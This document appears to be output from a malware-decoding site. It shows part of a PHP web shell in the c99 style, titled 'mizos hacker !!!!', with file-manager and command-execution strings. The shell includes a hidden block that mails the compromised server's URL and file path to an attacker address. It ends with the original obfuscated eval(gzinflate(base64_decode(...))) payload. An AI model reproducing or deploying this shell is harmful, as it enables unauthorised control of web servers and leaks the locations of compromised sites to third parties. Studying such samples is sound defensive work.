'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',

'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:
[%1]",
'not_deleted' => "These files could not be deleted:
[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":
[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":
[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":
[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":
[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:
{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:
{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" can not be read.'
		);

	}

}

function getimage ($image) {
	switch ($image) {
	case 'file':
		return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
	case 'folder':
		return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
	case 'hidden_file':
		return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
	case 'link':
		return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
	case 'smiley':
		return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
	case 'arrow':
		return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
	}
}

function html_header () {
	global $site_charset;

	echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />

<title>mizos hacker !!!!</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing .permission_header { text-align: left }
.listing .permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
	if (document && document.forms[0] && document.forms[0].elements['focus']) {
		document.forms[0].elements['focus'].value = name;
	}
}
//-->
</script>

</head>
<body>


END;

}

function html_footer () {

	echo <<<END
</body>
</html>
END;

}

function notice ($phrase) {
	global $cols;

	$args = func_get_args();
	array_shift($args);

	return '<tr id="notice">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

function error ($phrase) {
	global $cols;

	$args = func_get_args();
	array_shift($args);

	return '<tr id="error">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';

}

?>

<?
// sh3ll.us & no-shell.net
// [email protected]
// [email protected]
$site = "hihi2.com";
if(!ereg($site, $_SERVER['SERVER_NAME']))
{
$to = "[email protected]";
$subject = "EGFM";
$header = "from: EGFM <[email protected]>";
$message = "Link : " . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "
";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);

echo "";
exit;
}
?>
</body></html><?php chdir($lastdir); c99shexit();

Did this file decode correctly?

Original Code

<?php
eval(gzinflate(base64_decode(rawurldecode('7X17kxw3kt%2FfM58CHM2qZ1bzJqnHvMTmcEiOxJdmhtJSJG%2BiugvdXezqqlY95iXRcRG%2B2LtwnM97%2FgJ2%2BPbiLEfcF3Cs%2Fccx%2FB1E%2F7mfxJkJoApAoap7KK5uL8KMXU1XAZlIJBKJH4AsYPXXs%2BzXbBRcxikbeN0hT9g1%2BMeWmcfSYDQOOfuGd5Y7Xsp91gvgceRFXp8nSLYXjy%2BSoD%2FI2MLeIttYW7vBHKy2dyEvZj8eBCkbJ3E%2F8UYMfvYSzlka97IzL%2BFb7CLOWdeLWML9IM2SoJNnnAUZ8yJ%2FNU7YKPaD3gXygXd55AP7bMBZxpNRyuIePdx79JTd4xFPvJA9yTth0GUPgi6PUs48KBrfpAOoSIf4IMVdlOFIysDuxsDYy4I42mI8gPSEnfIkhWe2ocqQDJdYTDpY8DKUPGHxGOkWQdwLFnpZSbpSU%2F2ylj4LIuI9iMdQowGwhDqeBWHIOpzlKe%2Fl4RKygMzsm4Pj%2B4%2BfHrP2o2fsm%2FbhYfvR8bMtyJwNYkjlp1ywwrYLgDPUK%2FGi7ALERw4P9w%2F37gNJ%2B%2FbBg4PjZ1AJdvfg%2BNH%2B0RG7%2B%2FiQtdmT9uHxwd7TB%2B1D9uTp4ZPHR%2FsrjB1xFIsjgwYV96iVQI0%2Bz7wgTFXFn0HDpiBd6INdnHJo4C4PTkE2j3XBgiY3HjLxwjjqUzUhc6nILRb0WBRnS%2BwsCcBesrjarEhetuwSO4i6K0vs409usodemrL2KTTmnjfqJIHfh58P22xtY%2F36Z0vs6VFb1WH5ff1DZt8MsCPlaQA1osqk3SQYQx38mD16fMwi7zTogwmJ6pJ1dZL4LOVJK2Ud6FrYJ5ARaBwq6KNdZHGUXmPt8My7gO4wBivA3pqiZXks4meKA8u8zrX3XaPCvOF%2FX8sOs7YCGkz4aUBPn2GWnff1Txa5N%2FCiPqfebxZELofBP8%2F3sQ%2FEydBL0ALIRv0ALDCLE%2Bin0AWhEZbQiMI087KFRdkzvU7IfcmkF5wDkzE4miBNoQgoLh%2BHsedLl5iyBeiz0TBF6zvK%2BBge2J281wNbXmwQ9VMSNR4CqRfdSrPcX0n9fIXD%2F7PErMFxngzBdbEM%2BnIakh0T8atbw7yz0r00c%2B9d8m41r8oDniGJsft1B16S8gw6ZeSHoIYGUT8hDullHoFh3jrNkpWIZ2ahR2MvcokYQiG30piHfQ9MtUp3x01WkTbhkTcC3xKAJ2gS9WMijzgMEMM4TqJbWZB2vTBYiUKr4DyraKmO6U2HVYWQLYehkHk5tHvKQzAqw2LSixGodUh9sGJzMmfCR1Q7MFF%2F%2BSzxxpgZBsAMBrbzDJyX1yDVDZLKB4WA%2FfTzwOfxSs%2ByHPCEkcMYPBxA01tnQTBc6XatljzDEXha1VwX%2BgbTyLxbfQ%2B8KGhimScdbyXIKq14kEFTQPeYjveGofZ%2BDOPiyMNM2KNRU2kMJhHDwCK9W2o0QBfUhyUgT9UAATfziA7sg8xKN7q4Yw8csNY%2FSiWhL0D%2FjQ3HWjACnVBp3G%2BRzBkM3rey%2FJxHKz6vaGGQjwjoeL7XCcKARmeBrtLgUgg4SaNCiqupc91QZxWpdWMEfBkPL4AGx9OMR5sy9zLrhhxK%2Bs3944cPVvcALwDcGOdZkZwC9MChWyhUdAf0omWGfDyOk4xc8FkQ%2BdBgkC05LVttGUZygSAyGL9PA362BACo6%2BWp4oJ5qnKDy%2FbYroCr2xWUKsnAf0PJ8L7LETyAZCN03DGUmEMHAX0GqD6oQTf2%2BaJGeQDjctTKoOcO%2BSagVnBD6RJ75Z16y2rgBgeQcBwSmNdD6Ie6uChqsdwFMDMsKsnPeTdXdgl4FGCe4FPqIYiyJPbzLvk92XpRPuoIXc2uvsfhm%2F16dRYZPkOYoXwatXqLRy2QZT%2FqI2ymNz7HN%2Fc46pFe9BJ8IZwMvQgyfCHtkt5EIb4hb0vPKfGQTka8GdMbMYCIcoZEU77IqBw5DNKbbopvaKijZ%2FTC%2BAb%2FFs54dXYeq8R2ZPoWVXVPDnygfmHEVN1xDD0azIKdemEOJuwRksWW6ZQIXY2ZZNrMI%2FMfZNl4c3X17OxsZTwY4wi3CurJvXCVR6u9POpiW68MslHIowyMjKeYzxAaLJzYpzjEqTJgyoLv0MNQPx5daGMOCAc6B0v1RTVTQL8nitKs7n1wkuD%2BNgUOBuM897CnbLLWyioWTgWTAbbScqASbAeCFjlCZsHvCHyUAu32UAUk%2BKobhynQfLq2JZ7RO8Pzxk3B4Wrokj0eFz0z6gX9PBFefUEMnuwD7H6ADqBFFmeVOT8RcE32Mumb9VGgqo61T9ZugrZxngLTrpafnJ2DAMnyeWuF2H7A5oF%2BXDLeIZKthvLIGTpK%2BhimymVJy8nZMpW0XJaElGZRQCOKugtJiIVS9DlUjJz1eGOviwbDO9KxbspGzLxul6cptaJ6gMaEhDHMgM58mSAeWlduoykcDADshT7PTmD4Dron3%2BVxxtOT%2Fri7sLjIvp%2BdwUnqxcmZFw4X5k%2Fu7R8vgVOAyfG4tbhlJcKMtCH1cP%2Brp%2FtmhteicJFtyC9O%2BDkgsHShRVCitcSoQCHGAEZkniy09uIIhr5s%2BfhiDK1FGVf7QY%2FK8wOONaGXQtjnktXLxbK4a6rfF8XR%2FKIlylGJYtLBFqi1sUkpdSbhWZ4AuMEJSZkEZb9G9vMAVoIRNNmdg8P9vePHh89OjvZh2t6Gn1ui9Erh4G9OcuQiBZiHARg4LICWshjGZah0mnfgaeHJ%2FScnj4%2BW2NoSuw55YbLFWt8cPGotss9hPMs5gxHQC1MONWUc%2FurclGRA8uKFi0Lqho%2FG2QXo7mj%2F8Ov9w%2BetJ%2B3j%2ByfHh%2B1HRw%2Fax%2Ft3UJHEVjgl4X7gvyh%2FI5WSyVnI0d7hwZPjk7sHD%2FYftR%2FuT1lIlUovpKJnMIwu9CAHa5GysGjoTc%2FQWmmhhjSPS707OOUbXieNwzwDuWQiGG1BChxn5wWBw8ghgUxcdoxFbJTi6Tklv4QGUoy36joLYGzFCnvgIvvwQ3YN0fFJkJ4oQWX3fK5yKxXXVkdUxSbaElZezJh2xEpk0Ls4wRIXAKoB1k0HRL9I9Regc4eR4KjkeU90MNArqNUwCFEamPsoyE68MCzELEhUHvFC5IHeh8B1YT5AX7zF4O92kRGgGeSAdx99JHqwU4lz4JwBtPrzwZyhR8lFS35JfQg7T0vwmxE1fP6ylG4O32BekAwcA%2FqGqvEXDS2q4qpqJQvw00pztFpJgtlaL5dY2VjuPmioXKydgChkQyoL9rCj5y2VCDpFb6Xk1Wtv5dzSq6Pe6lJUjRmbq2gB4ZB%2FbtOKuuktuwhzUu4NyWsTUZWtYFixuznxQrVtc9PjkIDcpR4FKam2Rv0CmmDhP%2FzgUk4v7uZpy2WgMkkYp2SzaLaiyCfSTmpa0GVRDjrLqmbSswDXa%2BzMGQzRUpNdL0XYpoham4ZyFUGZjspVbSRoyZ7dZJSk6Rsn6nFPDM8pjpNsbZEZXke4ecpAtQZgrrJLNyvnJgqtUyXcFnv%2F%2BPjJSXtvbx%2FGogftR%2Feetu%2FtUxuJcYoaAUZvQAra2OUkAlXtAhCXpicnR3Lsn0RKqGCDgEgxhhU8cLZYQBQxZ6FRj36Kqhb1NicrRv3tiQyxUs9iZJCTiwWEHTie3YAB7BPJ%2BhrgZdSzAdTLYchA1NXhOx956bBFg%2BTC2ieffMI%2BZP%2BO3iFMxQnCzZtbsv1VQSZO14z9KkV9%2FPHHdlEf37hRD5gkKjFxDA97UBJOMxdwu84NZBRJI1RCDHi0%2F%2BDutLz1%2FCa%2BEXStVkNV6O%2FJ0eO7x9%2B0D4vqUBdDcBrGZyU4bSAj2%2FyYECuYE02EWsq%2FimnRDqFRy3iLNAlRi2FUDJMmJdSh8ELK0X4%2FOyt8By70gO8QogMoEgBNGAjVCYqDadUg6A9C3DMljyKWrmAql17DadLMTNw5AdifZIhhZmbMzJIXjQlp0gWxeML7gL7GodflC63tHkxbYI4cxsnO3MLzv5h7%2BevFuV1wE63tdOzhfOIi5DtzlGGTvVinNCgQ52VdMeNJFxZ1%2FqDzgr2AVq3tVSwFKedeJHP432hucYkVqVgSlUn%2FX0SkmnSJJ5TEI%2BjKuIyI1cP6gUGdyEkX5eHdQQziDjaUsLi0sOyBDqJNFvJetsVGXtIPouVOnGXxCDoK1IKtCNMU%2BoEnkGOwsTs7uz1I2Cr%2BpeWaXfib4H98F3fayN7CTdss6Hqhep3F4y0mVdaHOm6xMS4VRv1lIthk18dA1QEnxRP1an18zmBoC3yimIMixwlXZUr5gS8Jv41rOLstUkeJQtYFCtlhcpjRmn9RgRHS1dx8AA1A1FJ3q8RwexWKhIJXM7%2B2xkKfzgqrOmIWqmJzJbAFyGRI9XrJq6TxVan%2F2VbZ7L04zkSzaz0SE51zcCwB7HQUjDiO%2BIUuHAR3gnQcp7SYu8nU7HkHGZSuS1HTZNvzjd6FPmBWAQPZuf34LCJgiR1cFfgk8fojb1PEFXRpcUAl7Z%2BPAWakoBzj9R66k2UUNInDTTbK02w54aegeR8wxhIuQWbLNA3YAW8GelQPJpcpNdOoGC%2FLQJgRvN9qVBI26Zaz%2BAc86mcDIQDBGjBVXbMOxZpKlVgdVTrv8zRzY0MkVrMBCxMKX3sLc6hxlRiJIWRG7rTBpLHPF3iSxCC8F6JYClghhBIExbBAHHFZ8UTt8Wq%2B93krG401fFqWdQt0Gfui%2BCV79Y7M1JAmiqHPgctWZbQkTTntMccpV1Vwz6mZvqLxCgTedOqwGLKm1WFhcvrQittyO%2ByWADUKTVnAbEtOqG6NhpAgSl5iLvRWo0C16aYLoUtRqzk3IbakEBjFb1SinCv80vpzWBYJkMV5d2AUPYML7xpm%2BNNqRWxqCY10B9iYxWJa6RLmxXaLvlAzM5%2FwDDwgTb1nZ5DNQksMbbg74fRHc%2BwHttoJotV0gJIKpvBDcBIlUaVolqD40wztcwH0AGELSCeRppzMCU7FbM6StrVN4xxNaKCjxSciHSbEINNuq3BIouz69kdFS3UVml6igC0YuRcQUBWVWmx0BKoTXI1ZdXDDze%2FSlq3JfBQrTG4WbrpMi%2BiCp5KKFjC8IMwTbjQ7QMxcbUoUbwUG4h4hbLGm56XSFIXhYlkgr2noBS%2BxSIJJWIJh8YUUdh4ycJQHUThurYn5yoxhGJIW5s5oGGJFrsyvtavQJbaE1QSKQ9GjdPZSfCf7lR2m2rmWuaKXzO2mUryqWMvE3yWIxJ1yJqY4O3MC3eFUjvoe4IxB7O%2FMIVhBWCi2Qruhl6Y7cyI8Z06D2nZCS6Ku73IYKk%2F8fDTWi557kW13duegJOxmCy0whjC8kGptSWzf2Z2d2R4rVhMsRrGdq8wS5rY7OD0g%2FCzVJqo%2FAxgWixCzh5ntIEI3gOhqRy70zTHCS3NRPCe2i4WWhMxR3JJuKgA1JYAgRHze3CRu0Gsc7LAvafz6CedRwdHE4wKu31wbn1NZTgyOE7hk1IDFK%2F5BRF7V%2BQdEPEHkacvL2Jnq8ZyLrILrREEOZIcLXbcSbUAwYZjbP4r8mnssQd9Uo2IjvdWl5ilKbccetlzT3Xfqblfub6bBDQLf55EyOFFkYXOing4zNamwQoadWpPviQygrR30pQVoTDq7Lc0XILkAXqYncK4AjEt6tXwkWg%2BmVmqtVGRfLp5po1XnrVcC585FFUrznaNJuqgJZukFPPTFZEhs6VJtKtXV0lYnOZuKT5BdsqR3T7dBNdseGyS8Z5nV56Bsmu3lWG9cMajof%2Fc5K8vDoGNRGnu5vertknbfwZXgxOqXdSTvE3wUe%2FHakrkwKWU%2FZeFUDIiPYIPqsMIK8i2FZGwP53Zvf4Ywh4JW60GO8pA%2FA%2BvUlKCozRJ%2BUcDzJ0Y8tPZA5vevBHfKXq93LZJl82d7RNvJTzcKTOUTybf8m%2FOI%2BAXMLw%2BtbgXpCS24FNhpdqbOV9Y5y0mW%2BA7uUvhLLb6DIJ%2FtOaXrVFUQReIutNObooIdvrTOmZretM6dklcTfajqUSe51BqfCoIG0zpVUf4Et%2Br0q3WluByrrGC9azV8azNmN5tBQ%2Bw163pKzCriNluodiWricGsA7j%2FWQ4NkTE0oA7%2F%2F9DwDkMDOdl%2Fe0ODWGiWnxH98oOE8tliT2N5fYmt09KoCPNcVLjWPdd1SKqEITFVXIwSbKMIIizcf7GALLquWpOevD4gNTb9AoEk%2BBlLBBM4%2FGK%2BhpaIpDDK8cxo%2B7%2BO3d653aZuzURnQR7wXzWhrky2O7vChWAWvUvS%2FmUnPleuQLVy0UlpzQuFVjlPyiwyIHJHRUbay120%2FbzOxWIXFBx6HR7i90UubsZCgjREKTzRVURvXCox%2B%2Baco%2BbvsmbynhZNdPemDECrvnIo7gb%2BV3Di03px0x%2FW1fjP16HjhlydG0%2B9U675bxmPY8XgzL1ICK1JzKYiIUVeipyWrhEsC%2FcOe%2FghuHKDrTMZrXmrR9%2FKw3vgIYkX2bUdGQQlsnTDOMUszX7TO32XvVcXmeUh1SRFfCNZBBGQbPAaK6C9fvcNTyRxylJpvHLTtbYJeaa14AjMSm5qujLnIjxeZPsB8t1YW6PDDCoZz6yMG3UZz62M62t1hfftwqF0J8%2B%2BXTiU7s5oFw6l1xQeVwpfu%2BHkGVcKX9twZ6wUvrZeTnVlZIYclDFPo02X7XyCDVoM5z7vxl0wL8FgKgPTWJHZT2I3ESUoo1JBAKmOuH6B6QpONswxuAj%2FGg8S6CZGnUGSomMVS%2FLFZAJHHCodB%2F%2BSinYsaNCiEUkOTjqEqYu164CLHOrDfHwW8USN8e%2FOpp%2FE%2BbjCRi8HD4oxMoiRSKtHbcChCUs8Xw7KekGNeCovQcH6XEv0DmElH1KvXpNxgq0qmMIIdZG0ujt1ef3G8qDA91xe3Fze2o0rlfdu7UKj5ZUb5qxJ8I333zCN5UGB77thmstb2%2FgFGkbFHF21ac6bRF9%2F%2F03TWB4U%2BL6bprm8tfV3apoCVmsOvD6UAcY6B4LHEbCE7VfZmtYGiD%2Bf7ek%2F%2F4Ukn%2Fe8PMwQsNrBW%2Fg1w3v%2FzLv4sLnPMyyQGRUEoNQP444XyiUkAAdnQVSEzVG4I85YxM5EuTcg4NAZnZq1UH4RjdlxzBTZF7UpTLGhQee37GirW%2BZmglq1nqfPsIGdOASKyIpdkZliqYo2P8S%2BQEsxaeGBHTu7JdclmQF5tJj8hxnwhUqEKQyFMajEW%2FKFLFrLhp%2FEMj0b1dbORRNiPZdY%2F7KzqdlUS2Urp1d2VjXDKrKWUy4jK077jWqiBp%2BL1y8LXZRzJz0T%2BqQyk4BrFU554Jd5BBar5OnreUZZMOJaHlolpJeW6J4ro%2BfI2HVl7GoZKZ%2FcFRMGJYKxZfu9LDedivdi7CINv6Spur6USWa7InsJ9v%2BV1qJrd4rmQuIzOPmmoQTjlRRcMLW41vOQH1AVG2Byg8iqMhnjy0UVkZ7BRAFnxqq7aqapaax6ZEGcBuf4bdL4DE1gseBHdiKD8AVP%2FBDPzL6g55Xh8BML6id9oyAytvqCKPuCnlcUVPoMY2%2FR2HhSRzyIbEaUQpFWfpGGrrrwrGmcSNf64Tz%2BBSc65BcU%2FYxHKUnf910edIeYdUFmwqAnuVWILzDoaV2QlnHLBQfKojzeiXwtCbdMcYqCUB7KT1O%2BhASD6aOUT0gl7QQS8VNoTC3Wu0ZjVBUxeN4LY5g%2Bq5wfqZyrbGPx5XPk9lLMhkOhXchEMT0Y7k1Zt7ThAjJtw%2BtEeXP1WpQ0H0qGKA%2FIgFX%2F6KMtR8ZEZdxVGZPlZW0EsYqZmc%2F0GkE5coO7eNYSEysxoURgoIxJyTRTFlqaktbUtv6TooWd2UKziSR40FtXm83H3cwLN%2FBYlagv8WTZqCW%2BPN9bQwCN54ao3%2FQ1AwIt3CFPW0bcuEbY1gjbVcKwlvBTjfDTKuFyLeHHGuHHVcJOLeENjfBGldCvJdzQCDeqhN1awnWNcL1KOC4JzYTPWzLkf55cIaMvIsz1gc9ZC4bdTakomW9lpzJd%2FRxXkIt8xqQC1S4lcpGvS%2FKUyI9sWZtIzssSqRbkZ61a0KqDVQuRz%2BRJk%2BCmWtwoauEkX2%2BsRROJXQtaMbJrgWsZdltQPosnTq2barFRtoWTfJ3IMyI%2FrrRFA4lVCzWEkakBWJHNyJQmmGBmjRfFl9H2qUeSHX7SvNB6gSekzf9Af67Lvzfk35vzalVRHov02px3qC8h7QIQKgZdNo%2FpqQ7nobRX4z5yfzXm%2FXkBUcWZTqv4prUkMvWD3nwBdfVMeDSUzDOO%2Bu48kKDy4IwNS6O%2FhK9buMyxis8qT3aeYRYv7RK7Is849IJIZToXfM7TsMjkjcdh0KVdutXzkt3Yr4iu54Tk1qwAsGUMidATxpBAk%2FBzgtv4rjwGBdsqWBDJepMsMmUbmF%2Bay%2BqqemsUDcMKz5ZhWOHeCC1L5dFqa1kQgGKmpvP2jFJBmWvlHKgMD3N9o2dirXpiM9pssdykkocblfNWPUP5GVpRgD6PpQANNX%2FFo4zMGWyJrOE9zgHoLBb5IJ6uFd9C6dOFctdOk6DE7jJ2Df5Dm3xF8SWauaY%2BYZPquZWMyrqJbDJF5jSDwWYqGNbc2yiSb%2BWRpucq1lWhIM3LCMVXfCpeRWUtglaulUErWunmqoBk5ZCyzFeVsBJgQ4sJCR0qbcosZKwemSVyL5onv9Wfd1UuFilKp8wmBz2rBfAseZicmelK1tdoirmmLKdQOq1usELdrc2WWzCLYK0gWG25DMCODmJG886LuaXbJNTiDwVlKjRfNjnahEZedGZ16FgZsypyGd%2BNaItTKoZdzNmrVHWxrurkIaPbFFyog2tWOTNjHohWNXUhXQLTU1dHWMO%2BIII7qRt8BGoX%2FbI4nkqoC%2FW1yArdrbS2tKEe31re2DA0l%2FUYXbS6zEHetTInx8%2F%2BaAFNfREhHhXJNSElIRYpqZVF7T2bK2aLhnMq%2B1VB4nBhstJSVcKsMg4JbMdYoNFaa7a2aCVttWhkLY0U2g5bUfYQVV5lcFC89AARlXmpXGHVC5jnWtk8lQc2yq%2BwaYxn8ziStBYWXqw8%2F4sXolb05uXzv9Aefr34A%2BTAPNrLj%2BAlEtlZF8snpBFPW2V9CfIVKMKhLeOYmyJjtYIzjZZKh26L8Fk8wFYGycJP4Z3n07zXC7oEDVvDh%2FeOn%2ByT7c9HMopDuZCCw%2B4O06ZixetVfL1xg5YkIpq4k%2BqLdLBVvIqgZLTErotP0KjVy7e46lcszriTbZuQMgbRiUC3eti9oBIjYnFgz1pLlmOcMyjErBJbX84J5S3rrkTpEU0JIE5UfHbfwsmD4qhUDa0XiYWodXVmiLYshlKssDn2vWT5%2Bvac7XzwkFdceIIf8qSqLBFdIhgXRo6JW3%2Fa7Q59c4UtaPH9UR6GhjvEvSAdGmDofZxk5fodqqES%2BaEW5OS2ij6aKAOpHhqHfLXzbakcOkSQzqyl1JfqlDqZVm5rbNVxlWIWjMUBgcRSJRnHV6p6KQgqCyzfFtBYrWyqJUtLMVRTdUDUuhUKqh0HVTkffnt1sI77ZhQZw6HFaM9vlIdZMPaSjLbTln0v8%2BauGDeDkSsjmKGoQP6iUU5ASgwmKhpHBSypjydEb0vH4ND0k69UuvQZahQpt17MTbGZGXH%2By0knPhdcZIiketaGM60sxVouBGOqtN9iiVenJMmMr6HlJpJ9QuPrsn3KvVBjs9Leq3xd7UK6WAWE0DqLdgKuYR1iL5ECGkP0Kz6d0YIH%2FpMlQVNq5gNOQoY2yVJF1NHAFXXQ5RGIWz0naxT4fsjndreDUZ%2BlSdfe66Vp%2F046gg51AYYVZjtz6oH21gfSaGjbszVxZ%2FhDbzTeahX2VPQf7H2i8%2Bq9F7sdsiUqmXWHOmTR%2FxQyLj5ChOoLpbyYU3xezBU72S%2FmqGqffz%2Fvv8bydlSe%2BQRyld%2BoaCLgdyW0aw11lYeUNchOO4Y%2FU27k0SQzplvyymJrZZUTntmZJtm1%2Fc0r1MBZBW3FXQwATfUpM1u1MgRy1K2pMips7ufVg7g0yU4ZLLHLiL0rSawi9H6exMSlSWLKYElcBgdWJC7d4UxZzJzyd6keyFS8LKIIByqspCUX5azjiY29PP14YhWsQCnP5wO5VYab1WkGmklx3iL2yMXRbegoFyx3KfY0xUb6SxIJUOKWxQdnqd40fLzJfLrT8OlKPnq0a40nL0JXi9io5pApGf9EHjwwvlxAA5pjcURnH4uwpFOU8IUI%2B3zRWpzTYqXKgpUfnGNZkIVGJFFZdxnz0yoMvLqJLtYRZW0bhxrxIQoNNOqbFKFsQV1GQT0vnbRoFPZhAjhviwk5cC7ohSfSjmpP5FPb%2BtVvxxzB%2BwXHRX1hs5ghV5NljZ%2Bz6SOpSiZSq0boVymw7GLeLnvZ2nIEVUhdu8uVABEPeyU%2Fg6x%2FtiBKjFlblkrDFaRb5R5wsV3oCDqZ1nZ6cQhDjbQe9QD285yVXzTTLQ8%2F%2FMDKYvTokEVd5DrtOVpNMKO1npc1%2BrKstdRYs640sq1ixVtGN75suT9f1qe8Oge1ULmzI6bdRl0bNStCC09EUCKpV7xh4k3RR6t1mdRkJUebVRmVUDQVRZu9FBsI6l0B5FXjMcZ%2BtvH%2Fku2pIiC0qoq4M3NpZmZe3LcGbWc4Y2M9yGQgJG9VlmcLRi21qaFBCd%2FCoSL37vcG59fsNg0WJqwpUaaTXwnnXqjx5MUcghD1FYnUeon6XhpDiwiVuWaPLuKWgPqAKIq70rq8jKbCXqDnkWdGyznl4lQ2VIo6vSVRzilCaO1BryaIxak1Z02EgZaNYzRgzTKJFqVWfFymW7bVwhIuF40Lat1k35t6fw3I03glY9Nel%2FI4O5G7qF2bu8mloWpaXNw0VZO4uqhaX6%2BajJvTq6aH3V2xagrC29yrVTPOONBQW4nOZyd%2Bz%2BtAi7ar0%2F0gRowLM5KHxxsHqtQEJxYfuypXJkkpstD%2BIlauwlbXjYyjWAup3DzlUYtb1ZSkWBm0U%2BjoHb30Kw48Vq3wtAZHKcUh3GUfLVgW4covi1s4JBV9dKvLRt7WueuEeEbsODXLb0TFIiNtU6ulDqZ1a1d9slIMH%2FoZLjJncYZLCVjAFsWdhspQ05EXhua3Ero5iu%2Bz14UVi5vJlYmK8VhuGoH5LLQ%2BjDrpeAv68vU1OSALCmWuWkyIMlyMCilvQNC7I3RIozwYBkVGfdpc0NK0WZZmup6i3qui4lp%2FNFXg%2FPqEnhz9k33Yz7bY5PmcrLl5Ekr5rUfLnN9XZ6FykVNNRq903cCkJUVwGfjxFSE%2FrI49%2F4xDvINB0C6Iy1Jwi0aMjc1eLcpHhiszI4anOqaA9FowmZxf3Po13fc2Yr3U5Tyv5vFqHZ7bq72edTuo2St0zhN68z675eRO%2Bb665Gu9pu%2FeHYUKrtoRK%2F3OCAWzNlzYwhT7BnKDoLIl4Oo%2FovsUZ%2B8WDEULTj3JlYVr8yF53EpxEH8xE9q0u4txBgf2lPd39oZL%2BUWeogGaPvPr0i3TdgeWx3VQWutKZTU1drnXZTUzttFVW1Iwo2bUlmEDdbJspRXEFFt%2BPypop7Ddxi8k9dvwHOqTt2M0qG%2F6flJuC74H1QlmogdIvyeNobyRrXR1TslFThTd4QlJ1buuVik9YIVI65kN3Usjr%2FqxanfT7qObVI9pm1sqr%2B5wm6bmtgpram%2B6ldkRI%2